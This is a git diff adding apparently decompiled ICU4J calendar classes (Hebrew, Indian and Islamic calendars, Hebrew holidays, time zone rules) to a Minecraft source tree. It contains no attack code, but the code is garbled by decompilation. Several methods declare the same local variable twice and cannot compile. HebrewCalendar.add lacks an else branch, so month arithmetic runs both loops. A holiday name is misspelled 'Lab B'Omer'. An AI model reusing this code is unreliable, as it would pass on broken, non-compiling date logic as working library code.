+  public HebrewCalendar(ULocale locale)
+  {
+    this(TimeZone.getDefault(), locale);
+  }
+  
+
+
+
+
+
+
+
+
+  public HebrewCalendar(TimeZone zone, Locale aLocale)
+  {
+    super(zone, aLocale);
+    setTimeInMillis(System.currentTimeMillis());
+  }
+  
+
+
+
+
+
+
+
+
+  public HebrewCalendar(TimeZone zone, ULocale locale)
+  {
+    super(zone, locale);
+    setTimeInMillis(System.currentTimeMillis());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public HebrewCalendar(int year, int month, int date)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    set(1, year);
+    set(2, month);
+    set(5, date);
+  }
+  
+
+
+
+
+
+
+
+  public HebrewCalendar(Date date)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    setTime(date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HebrewCalendar(int year, int month, int date, int hour, int minute, int second)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    set(1, year);
+    set(2, month);
+    set(5, date);
+    set(11, hour);
+    set(12, minute);
+    set(13, second);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void add(int field, int amount)
+  {
+    switch (field)
+    {
+
+
+
+
+
+    case 2: 
+      int month = get(2);
+      int year = get(1);
+      
+      if (amount > 0) {
+        boolean acrossAdar1 = month < 5;
+        month += amount;
+        for (;;) {
+          if ((acrossAdar1) && (month >= 5) && (!isLeapYear(year))) {
+            month++;
+          }
+          if (month <= 12) {
+            break;
+          }
+          month -= 13;
+          year++;
+          acrossAdar1 = true;
+        }
+      }
+      boolean acrossAdar1 = month > 5;
+      month += amount;
+      for (;;) {
+        if ((acrossAdar1) && (month <= 5) && (!isLeapYear(year))) {
+          month--;
+        }
+        if (month >= 0) {
+          break;
+        }
+        month += 13;
+        year--;
+        acrossAdar1 = true;
+      }
+      
+      set(2, month);
+      set(1, year);
+      pinField(5);
+      break;
+    
+
+    default: 
+      super.add(field, amount);
+    }
+    
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void roll(int field, int amount)
+  {
+    switch (field)
+    {
+    case 2: 
+      int month = get(2);
+      int year = get(1);
+      
+      boolean leapYear = isLeapYear(year);
+      int yearLength = monthsInYear(year);
+      int newMonth = month + amount % yearLength;
+      
+
+
+
+      if (!leapYear) {
+        if ((amount > 0) && (month < 5) && (newMonth >= 5)) {
+          newMonth++;
+        } else if ((amount < 0) && (month > 5) && (newMonth <= 5)) {
+          newMonth--;
+        }
+      }
+      set(2, (newMonth + 13) % 13);
+      pinField(5);
+      return;
+    }
+    
+    super.roll(field, amount);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static long startOfYear(int year)
+  {
+    long day = cache.get(year);
+    
+    if (day == CalendarCache.EMPTY) {
+      int months = (235 * year - 234) / 19;
+      
+      long frac = months * 13753L + 12084L;
+      day = months * 29 + frac / 25920L;
+      frac %= 25920L;
+      
+      int wd = (int)(day % 7L);
+      
+      if ((wd == 2) || (wd == 4) || (wd == 6))
+      {
+        day += 1L;
+        wd = (int)(day % 7L);
+      }
+      if ((wd == 1) && (frac > 16404L) && (!isLeapYear(year)))
+      {
+
+
+        day += 2L;
+      }
+      else if ((wd == 0) && (frac > 23269L) && (isLeapYear(year - 1)))
+      {
+
+
+        day += 1L;
+      }
+      cache.put(year, day);
+    }
+    return day;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final int yearType(int year)
+  {
+    int yearLength = handleGetYearLength(year);
+    
+    if (yearLength > 380) {
+      yearLength -= 30;
+    }
+    
+    int type = 0;
+    
+    switch (yearLength) {
+    case 353: 
+      type = 0; break;
+    case 354: 
+      type = 1; break;
+    case 355: 
+      type = 2; break;
+    default: 
+      throw new IllegalArgumentException("Illegal year length " + yearLength + " in year " + year);
+    }
+    
+    return type;
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static boolean isLeapYear(int year)
+  {
+    int x = (year * 12 + 17) % 19;
+    return x >= (x < 0 ? -7 : 12);
+  }
+  
+  private static int monthsInYear(int year) {
+    return isLeapYear(year) ? 13 : 12;
+  }
+  
+
+
+
+
+
+
+  protected int handleGetLimit(int field, int limitType)
+  {
+    return LIMITS[field][limitType];
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int handleGetMonthLength(int extendedYear, int month)
+  {
+    while (month < 0) {
+      month += monthsInYear(--extendedYear);
+    }
+    
+    while (month > 12) {
+      month -= monthsInYear(extendedYear++);
+    }
+    
+    switch (month)
+    {
+    case 1: 
+    case 2: 
+      return MONTH_LENGTH[month][yearType(extendedYear)];
+    }
+    
+    
+    return MONTH_LENGTH[month][0];
+  }
+  
+
+
+
+
+  protected int handleGetYearLength(int eyear)
+  {
+    return (int)(startOfYear(eyear + 1) - startOfYear(eyear));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected void handleComputeFields(int julianDay)
+  {
+    long d = julianDay - 347997;
+    long m = d * 25920L / 765433L;
+    int year = (int)((19L * m + 234L) / 235L) + 1;
+    long ys = startOfYear(year);
+    int dayOfYear = (int)(d - ys);
+    
+
+    while (dayOfYear < 1) {
+      year--;
+      ys = startOfYear(year);
+      dayOfYear = (int)(d - ys);
+    }
+    
+
+    int yearType = yearType(year);
+    int[][] monthStart = isLeapYear(year) ? LEAP_MONTH_START : MONTH_START;
+    
+    int month = 0;
+    while (dayOfYear > monthStart[month][yearType]) {
+      month++;
+    }
+    month--;
+    int dayOfMonth = dayOfYear - monthStart[month][yearType];
+    
+    internalSet(0, 0);
+    internalSet(1, year);
+    internalSet(19, year);
+    internalSet(2, month);
+    internalSet(5, dayOfMonth);
+    internalSet(6, dayOfYear);
+  }
+  
+
+
+  protected int handleGetExtendedYear()
+  {
+    int year;
+    
+
+    int year;
+    
+    if (newerField(19, 1) == 19) {
+      year = internalGet(19, 1);
+    } else {
+      year = internalGet(1, 1);
+    }
+    return year;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int handleComputeMonthStart(int eyear, int month, boolean useMonth)
+  {
+    while (month < 0) {
+      month += monthsInYear(--eyear);
+    }
+    
+    while (month > 12) {
+      month -= monthsInYear(eyear++);
+    }
+    
+    long day = startOfYear(eyear);
+    
+    if (month != 0) {
+      if (isLeapYear(eyear)) {
+        day += LEAP_MONTH_START[month][yearType(eyear)];
+      } else {
+        day += MONTH_START[month][yearType(eyear)];
+      }
+    }
+    
+    return (int)(day + 347997L);
+  }
+  
+
+
+
+  public String getType()
+  {
+    return "hebrew";
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/HebrewHoliday.java b/src/minecraft/com/ibm/icu/util/HebrewHoliday.java
new file mode 100644
index 0000000..a0cf484
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/HebrewHoliday.java
@@ -0,0 +1,185 @@
+package com.ibm.icu.util;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HebrewHoliday
+  extends Holiday
+{
+  private static final HebrewCalendar gCalendar = new HebrewCalendar();
+  
+
+
+
+
+
+
+
+  public HebrewHoliday(int month, int date, String name)
+  {
+    this(month, date, 1, name);
+  }
+  
+
+
+
+
+  public HebrewHoliday(int month, int date, int length, String name)
+  {
+    super(name, new SimpleDateRule(month, date, gCalendar));
+  }
+  
+
+
+
+
+  public static HebrewHoliday ROSH_HASHANAH = new HebrewHoliday(0, 1, 2, "Rosh Hashanah");
+  
+
+
+
+
+  public static HebrewHoliday GEDALIAH = new HebrewHoliday(0, 3, "Fast of Gedaliah");
+  
+
+
+
+
+  public static HebrewHoliday YOM_KIPPUR = new HebrewHoliday(0, 10, "Yom Kippur");
+  
+
+
+
+
+  public static HebrewHoliday SUKKOT = new HebrewHoliday(0, 15, 6, "Sukkot");
+  
+
+
+
+
+  public static HebrewHoliday HOSHANAH_RABBAH = new HebrewHoliday(0, 21, "Hoshanah Rabbah");
+  
+
+
+
+
+  public static HebrewHoliday SHEMINI_ATZERET = new HebrewHoliday(0, 22, "Shemini Atzeret");
+  
+
+
+
+
+  public static HebrewHoliday SIMCHAT_TORAH = new HebrewHoliday(0, 23, "Simchat Torah");
+  
+
+
+
+
+  public static HebrewHoliday HANUKKAH = new HebrewHoliday(2, 25, "Hanukkah");
+  
+
+
+
+
+  public static HebrewHoliday TEVET_10 = new HebrewHoliday(3, 10, "Fast of Tevet 10");
+  
+
+
+
+
+  public static HebrewHoliday TU_BSHEVAT = new HebrewHoliday(4, 15, "Tu B'Shevat");
+  
+
+
+
+
+  public static HebrewHoliday ESTHER = new HebrewHoliday(6, 13, "Fast of Esther");
+  
+
+
+
+
+  public static HebrewHoliday PURIM = new HebrewHoliday(6, 14, "Purim");
+  
+
+
+
+
+  public static HebrewHoliday SHUSHAN_PURIM = new HebrewHoliday(6, 15, "Shushan Purim");
+  
+
+
+
+
+  public static HebrewHoliday PASSOVER = new HebrewHoliday(7, 15, 8, "Passover");
+  
+
+
+
+
+  public static HebrewHoliday YOM_HASHOAH = new HebrewHoliday(7, 27, "Yom Hashoah");
+  
+
+
+
+
+  public static HebrewHoliday YOM_HAZIKARON = new HebrewHoliday(8, 4, "Yom Hazikaron");
+  
+
+
+
+
+  public static HebrewHoliday YOM_HAATZMAUT = new HebrewHoliday(8, 5, "Yom Ha'Atzmaut");
+  
+
+
+
+
+  public static HebrewHoliday PESACH_SHEINI = new HebrewHoliday(8, 14, "Pesach Sheini");
+  
+
+
+
+
+  public static HebrewHoliday LAG_BOMER = new HebrewHoliday(8, 18, "Lab B'Omer");
+  
+
+
+
+
+  public static HebrewHoliday YOM_YERUSHALAYIM = new HebrewHoliday(8, 28, "Yom Yerushalayim");
+  
+
+
+
+
+  public static HebrewHoliday SHAVUOT = new HebrewHoliday(9, 6, 2, "Shavuot");
+  
+
+
+
+
+  public static HebrewHoliday TAMMUZ_17 = new HebrewHoliday(10, 17, "Fast of Tammuz 17");
+  
+
+
+
+
+  public static HebrewHoliday TISHA_BAV = new HebrewHoliday(11, 9, "Fast of Tisha B'Av");
+  
+
+
+
+
+  public static HebrewHoliday SELIHOT = new HebrewHoliday(12, 21, "Selihot");
+}
diff --git a/src/minecraft/com/ibm/icu/util/Holiday.java b/src/minecraft/com/ibm/icu/util/Holiday.java
new file mode 100644
index 0000000..20c0889
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/Holiday.java
@@ -0,0 +1,214 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+import java.util.Locale;
+import java.util.MissingResourceException;
+import java.util.ResourceBundle;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Holiday
+  implements DateRule
+{
+  private String name;
+  private DateRule rule;
+  
+  public static Holiday[] getHolidays()
+  {
+    return getHolidays(ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+  public static Holiday[] getHolidays(Locale locale)
+  {
+    return getHolidays(ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+  public static Holiday[] getHolidays(ULocale locale)
+  {
+    Holiday[] result = noHolidays;
+    try
+    {
+      ResourceBundle bundle = UResourceBundle.getBundleInstance("com.ibm.icu.impl.data.HolidayBundle", locale);
+      
+      result = (Holiday[])bundle.getObject("holidays");
+    }
+    catch (MissingResourceException e) {}
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Date firstAfter(Date start)
+  {
+    return rule.firstAfter(start);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Date firstBetween(Date start, Date end)
+  {
+    return rule.firstBetween(start, end);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean isOn(Date date)
+  {
+    return rule.isOn(date);
+  }
+  
+
+
+
+
+
+  public boolean isBetween(Date start, Date end)
+  {
+    return rule.isBetween(start, end);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected Holiday(String name, DateRule rule)
+  {
+    this.name = name;
+    this.rule = rule;
+  }
+  
+
+
+
+
+
+  public String getDisplayName()
+  {
+    return getDisplayName(ULocale.getDefault(ULocale.Category.DISPLAY));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getDisplayName(Locale locale)
+  {
+    return getDisplayName(ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getDisplayName(ULocale locale)
+  {
+    String dispName = name;
+    try
+    {
+      ResourceBundle bundle = UResourceBundle.getBundleInstance("com.ibm.icu.impl.data.HolidayBundle", locale);
+      dispName = bundle.getString(name);
+    }
+    catch (MissingResourceException e) {}
+    
+    return dispName;
+  }
+  
+
+
+
+  public DateRule getRule()
+  {
+    return rule;
+  }
+  
+
+
+
+  public void setRule(DateRule rule)
+  {
+    this.rule = rule;
+  }
+  
+
+
+
+  private static Holiday[] noHolidays = new Holiday[0];
+}
diff --git a/src/minecraft/com/ibm/icu/util/IllformedLocaleException.java b/src/minecraft/com/ibm/icu/util/IllformedLocaleException.java
new file mode 100644
index 0000000..242acf5
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/IllformedLocaleException.java
@@ -0,0 +1,68 @@
+package com.ibm.icu.util;
+
+
+
+
+
+
+
+
+public class IllformedLocaleException
+  extends RuntimeException
+{
+  private static final long serialVersionUID = 1L;
+  
+
+
+
+
+
+  private int _errIdx = -1;
+  
+
+
+
+
+
+
+
+  public IllformedLocaleException() {}
+  
+
+
+
+
+
+
+  public IllformedLocaleException(String message)
+  {
+    super(message);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public IllformedLocaleException(String message, int errorIndex)
+  {
+    super(message + (errorIndex < 0 ? "" : new StringBuilder().append(" [at index ").append(errorIndex).append("]").toString()));
+    _errIdx = errorIndex;
+  }
+  
+
+
+
+
+
+
+  public int getErrorIndex()
+  {
+    return _errIdx;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/IndianCalendar.java b/src/minecraft/com/ibm/icu/util/IndianCalendar.java
new file mode 100644
index 0000000..6380b01
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/IndianCalendar.java
@@ -0,0 +1,584 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class IndianCalendar
+  extends Calendar
+{
+  private static final long serialVersionUID = 3617859668165014834L;
+  public static final int CHAITRA = 0;
+  public static final int VAISAKHA = 1;
+  public static final int JYAISTHA = 2;
+  public static final int ASADHA = 3;
+  public static final int SRAVANA = 4;
+  public static final int BHADRA = 5;
+  public static final int ASVINA = 6;
+  public static final int KARTIKA = 7;
+  public static final int AGRAHAYANA = 8;
+  public static final int PAUSA = 9;
+  public static final int MAGHA = 10;
+  public static final int PHALGUNA = 11;
+  public static final int IE = 0;
+  private static final int INDIAN_ERA_START = 78;
+  private static final int INDIAN_YEAR_START = 80;
+  
+  public IndianCalendar()
+  {
+    this(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+  public IndianCalendar(TimeZone zone)
+  {
+    this(zone, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+  public IndianCalendar(Locale aLocale)
+  {
+    this(TimeZone.getDefault(), aLocale);
+  }
+  
+
+
+
+
+
+
+  public IndianCalendar(ULocale locale)
+  {
+    this(TimeZone.getDefault(), locale);
+  }
+  
+
+
+
+
+
+
+
+
+  public IndianCalendar(TimeZone zone, Locale aLocale)
+  {
+    super(zone, aLocale);
+    setTimeInMillis(System.currentTimeMillis());
+  }
+  
+
+
+
+
+
+
+
+
+  public IndianCalendar(TimeZone zone, ULocale locale)
+  {
+    super(zone, locale);
+    setTimeInMillis(System.currentTimeMillis());
+  }
+  
+
+
+
+
+
+
+
+  public IndianCalendar(Date date)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    setTime(date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public IndianCalendar(int year, int month, int date)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    set(1, year);
+    set(2, month);
+    set(5, date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public IndianCalendar(int year, int month, int date, int hour, int minute, int second)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    set(1, year);
+    set(2, month);
+    set(5, date);
+    set(11, hour);
+    set(12, minute);
+    set(13, second);
+  }
+  
+
+
+
+
+
+
+  protected int handleGetExtendedYear()
+  {
+    int year;
+    
+
+
+
+
+    int year;
+    
+
+
+
+
+    if (newerField(19, 1) == 19) {
+      year = internalGet(19, 1);
+    }
+    else {
+      year = internalGet(1, 1);
+    }
+    
+    return year;
+  }
+  
+
+
+
+  protected int handleGetYearLength(int extendedYear)
+  {
+    return super.handleGetYearLength(extendedYear);
+  }
+  
+
+
+
+  protected int handleGetMonthLength(int extendedYear, int month)
+  {
+    if ((month < 0) || (month > 11)) {
+      int[] remainder = new int[1];
+      extendedYear += floorDivide(month, 12, remainder);
+      month = remainder[0];
+    }
+    
+    if ((isGregorianLeap(extendedYear + 78)) && (month == 0)) {
+      return 31;
+    }
+    
+    if ((month >= 1) && (month <= 5)) {
+      return 31;
+    }
+    
+    return 30;
+  }
+  
+
+
+
+
+
+
+
+  protected void handleComputeFields(int julianDay)
+  {
+    int[] gregorianDay = jdToGregorian(julianDay);
+    int IndianYear = gregorianDay[0] - 78;
+    double jdAtStartOfGregYear = gregorianToJD(gregorianDay[0], 1, 1);
+    int yday = (int)(julianDay - jdAtStartOfGregYear);
+    int leapMonth;
+    if (yday < 80)
+    {
+      IndianYear--;
+      int leapMonth = isGregorianLeap(gregorianDay[0] - 1) ? 31 : 30;
+      yday += leapMonth + 155 + 90 + 10;
+    } else {
+      leapMonth = isGregorianLeap(gregorianDay[0]) ? 31 : 30;
+      yday -= 80; }
+    int IndianDayOfMonth;
+    int IndianMonth;
+    int IndianDayOfMonth; if (yday < leapMonth) {
+      int IndianMonth = 0;
+      IndianDayOfMonth = yday + 1;
+    } else {
+      int mday = yday - leapMonth;
+      int IndianDayOfMonth; if (mday < 155) {
+        int IndianMonth = mday / 31 + 1;
+        IndianDayOfMonth = mday % 31 + 1;
+      } else {
+        mday -= 155;
+        IndianMonth = mday / 30 + 6;
+        IndianDayOfMonth = mday % 30 + 1;
+      }
+    }
+    
+    internalSet(0, 0);
+    internalSet(19, IndianYear);
+    internalSet(1, IndianYear);
+    internalSet(2, IndianMonth);
+    internalSet(5, IndianDayOfMonth);
+    internalSet(6, yday + 1);
+  }
+  
+  private static final int[][] LIMITS = { { 0, 0, 0, 0 }, { -5000000, -5000000, 5000000, 5000000 }, { 0, 0, 11, 11 }, { 1, 1, 52, 53 }, new int[0], { 1, 1, 30, 31 }, { 1, 1, 365, 366 }, new int[0], { -1, -1, 5, 5 }, new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], { -5000000, -5000000, 5000000, 5000000 }, new int[0], { -5000000, -5000000, 5000000, 5000000 }, new int[0], new int[0] };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int handleGetLimit(int field, int limitType)
+  {
+    return LIMITS[field][limitType];
+  }
+  
+
+
+
+
+
+
+
+
+  protected int handleComputeMonthStart(int year, int month, boolean useMonth)
+  {
+    if ((month < 0) || (month > 11)) {
+      year += month / 12;
+      month %= 12; }
+    int imonth;
+    int imonth;
+    if (month == 12) {
+      imonth = 1;
+    } else {
+      imonth = month + 1;
+    }
+    
+    double jd = IndianToJD(year, imonth, 1);
+    
+    return (int)jd;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static double IndianToJD(int year, int month, int date)
+  {
+    int gyear = year + 78;
+    double start;
+    int leapMonth;
+    double start; if (isGregorianLeap(gyear)) {
+      int leapMonth = 31;
+      start = gregorianToJD(gyear, 3, 21);
+    } else {
+      leapMonth = 30;
+      start = gregorianToJD(gyear, 3, 22); }
+    double jd;
+    double jd;
+    if (month == 1) {
+      jd = start + (date - 1);
+    } else {
+      jd = start + leapMonth;
+      int m = month - 2;
+      m = Math.min(m, 5);
+      jd += m * 31;
+      if (month >= 8) {
+        m = month - 7;
+        jd += m * 30;
+      }
+      jd += date - 1;
+    }
+    
+    return jd;
+  }
+  
+
+
+
+
+
+
+  private static double gregorianToJD(int year, int month, int date)
+  {
+    double JULIAN_EPOCH = 1721425.5D;
+    int y = year - 1;
+    int result = 365 * y + y / 4 - y / 100 + y / 400 + (367 * month - 362) / 12 + (isGregorianLeap(year) ? -1 : month <= 2 ? 0 : -2) + date;
+    
+
+
+
+
+
+    return result - 1 + JULIAN_EPOCH;
+  }
+  
+
+
+
+
+  private static int[] jdToGregorian(double jd)
+  {
+    double JULIAN_EPOCH = 1721425.5D;
+    
+
+
+    double wjd = Math.floor(jd - 0.5D) + 0.5D;
+    double depoch = wjd - JULIAN_EPOCH;
+    double quadricent = Math.floor(depoch / 146097.0D);
+    double dqc = depoch % 146097.0D;
+    double cent = Math.floor(dqc / 36524.0D);
+    double dcent = dqc % 36524.0D;
+    double quad = Math.floor(dcent / 1461.0D);
+    double dquad = dcent % 1461.0D;
+    double yindex = Math.floor(dquad / 365.0D);
+    int year = (int)(quadricent * 400.0D + cent * 100.0D + quad * 4.0D + yindex);
+    
+    if ((cent != 4.0D) && (yindex != 4.0D)) {
+      year++;
+    }
+    
+    double yearday = wjd - gregorianToJD(year, 1, 1);
+    double leapadj = isGregorianLeap(year) ? 1 : wjd < gregorianToJD(year, 3, 1) ? 0 : 2;
+    
+
+
+
+    int month = (int)Math.floor(((yearday + leapadj) * 12.0D + 373.0D) / 367.0D);
+    int day = (int)(wjd - gregorianToJD(year, month, 1)) + 1;
+    
+    int[] julianDate = new int[3];
+    
+    julianDate[0] = year;
+    julianDate[1] = month;
+    julianDate[2] = day;
+    
+    return julianDate;
+  }
+  
+
+
+
+
+
+  private static boolean isGregorianLeap(int year)
+  {
+    return (year % 4 == 0) && ((year % 100 != 0) || (year % 400 == 0));
+  }
+  
+
+
+
+
+
+  public String getType()
+  {
+    return "indian";
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/InitialTimeZoneRule.java b/src/minecraft/com/ibm/icu/util/InitialTimeZoneRule.java
new file mode 100644
index 0000000..adc1a9f
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/InitialTimeZoneRule.java
@@ -0,0 +1,103 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class InitialTimeZoneRule
+  extends TimeZoneRule
+{
+  private static final long serialVersionUID = 1876594993064051206L;
+  
+  public InitialTimeZoneRule(String name, int rawOffset, int dstSavings)
+  {
+    super(name, rawOffset, dstSavings);
+  }
+  
+
+
+
+
+  public boolean isEquivalentTo(TimeZoneRule other)
+  {
+    if ((other instanceof InitialTimeZoneRule)) {
+      return super.isEquivalentTo(other);
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+  public Date getFinalStart(int prevRawOffset, int prevDSTSavings)
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+  public Date getFirstStart(int prevRawOffset, int prevDSTSavings)
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+
+  public Date getNextStart(long base, int prevRawOffset, int prevDSTSavings, boolean inclusive)
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+
+  public Date getPreviousStart(long base, int prevRawOffset, int prevDSTSavings, boolean inclusive)
+  {
+    return null;
+  }
+  
+
+
+
+
+  public boolean isTransitionRule()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/IslamicCalendar.java b/src/minecraft/com/ibm/icu/util/IslamicCalendar.java
new file mode 100644
index 0000000..3efa601
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/IslamicCalendar.java
@@ -0,0 +1,661 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.CalendarAstronomer;
+import com.ibm.icu.impl.CalendarCache;
+import java.util.Date;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class IslamicCalendar
+  extends Calendar
+{
+  private static final long serialVersionUID = -6253365474073869325L;
+  public static final int MUHARRAM = 0;
+  public static final int SAFAR = 1;
+  public static final int RABI_1 = 2;
+  public static final int RABI_2 = 3;
+  public static final int JUMADA_1 = 4;
+  public static final int JUMADA_2 = 5;
+  public static final int RAJAB = 6;
+  public static final int SHABAN = 7;
+  public static final int RAMADAN = 8;
+  public static final int SHAWWAL = 9;
+  public static final int DHU_AL_QIDAH = 10;
+  public static final int DHU_AL_HIJJAH = 11;
+  private static final long HIJRA_MILLIS = -42521587200000L;
+  
+  public IslamicCalendar()
+  {
+    this(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+  public IslamicCalendar(TimeZone zone)
+  {
+    this(zone, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+  public IslamicCalendar(Locale aLocale)
+  {
+    this(TimeZone.getDefault(), aLocale);
+  }
+  
+
+
+
+
+
+
+
+  public IslamicCalendar(ULocale locale)
+  {
+    this(TimeZone.getDefault(), locale);
+  }
+  
+
+
+
+
+
+
+
+
+  public IslamicCalendar(TimeZone zone, Locale aLocale)
+  {
+    super(zone, aLocale);
+    setTimeInMillis(System.currentTimeMillis());
+  }
+  
+
+
+
+
+
+
+
+
+  public IslamicCalendar(TimeZone zone, ULocale locale)
+  {
+    super(zone, locale);
+    setTimeInMillis(System.currentTimeMillis());
+  }
+  
+
+
+
+
+
+
+
+  public IslamicCalendar(Date date)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    setTime(date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public IslamicCalendar(int year, int month, int date)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    set(1, year);
+    set(2, month);
+    set(5, date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public IslamicCalendar(int year, int month, int date, int hour, int minute, int second)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    set(1, year);
+    set(2, month);
+    set(5, date);
+    set(11, hour);
+    set(12, minute);
+    set(13, second);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setCivil(boolean beCivil)
+  {
+    if (civil != beCivil)
+    {
+
+      long m = getTimeInMillis();
+      civil = beCivil;
+      clear();
+      setTimeInMillis(m);
+    }
+  }
+  
+
+
+
+
+
+  public boolean isCivil()
+  {
+    return civil;
+  }
+  
+
+
+
+
+
+
+
+  private static final int[][] LIMITS = { { 0, 0, 0, 0 }, { 1, 1, 5000000, 5000000 }, { 0, 0, 11, 11 }, { 1, 1, 50, 51 }, new int[0], { 1, 1, 29, 30 }, { 1, 1, 354, 355 }, new int[0], { -1, -1, 5, 5 }, new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], { 1, 1, 5000000, 5000000 }, new int[0], { 1, 1, 5000000, 5000000 }, new int[0], new int[0] };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int handleGetLimit(int field, int limitType)
+  {
+    return LIMITS[field][limitType];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final boolean civilLeapYear(int year)
+  {
+    return (14 + 11 * year) % 30 < 11;
+  }
+  
+
+
+
+
+  private long yearStart(int year)
+  {
+    if (civil) {
+      return (year - 1) * 354 + Math.floor((3 + 11 * year) / 30.0D);
+    }
+    return trueMonthStart(12 * (year - 1));
+  }
+  
+
+
+
+
+
+
+
+
+
+  private long monthStart(int year, int month)
+  {
+    int realYear = year + month / 12;
+    int realMonth = month % 12;
+    if (civil) {
+      return Math.ceil(29.5D * realMonth) + (realYear - 1) * 354 + Math.floor((3 + 11 * realYear) / 30.0D);
+    }
+    
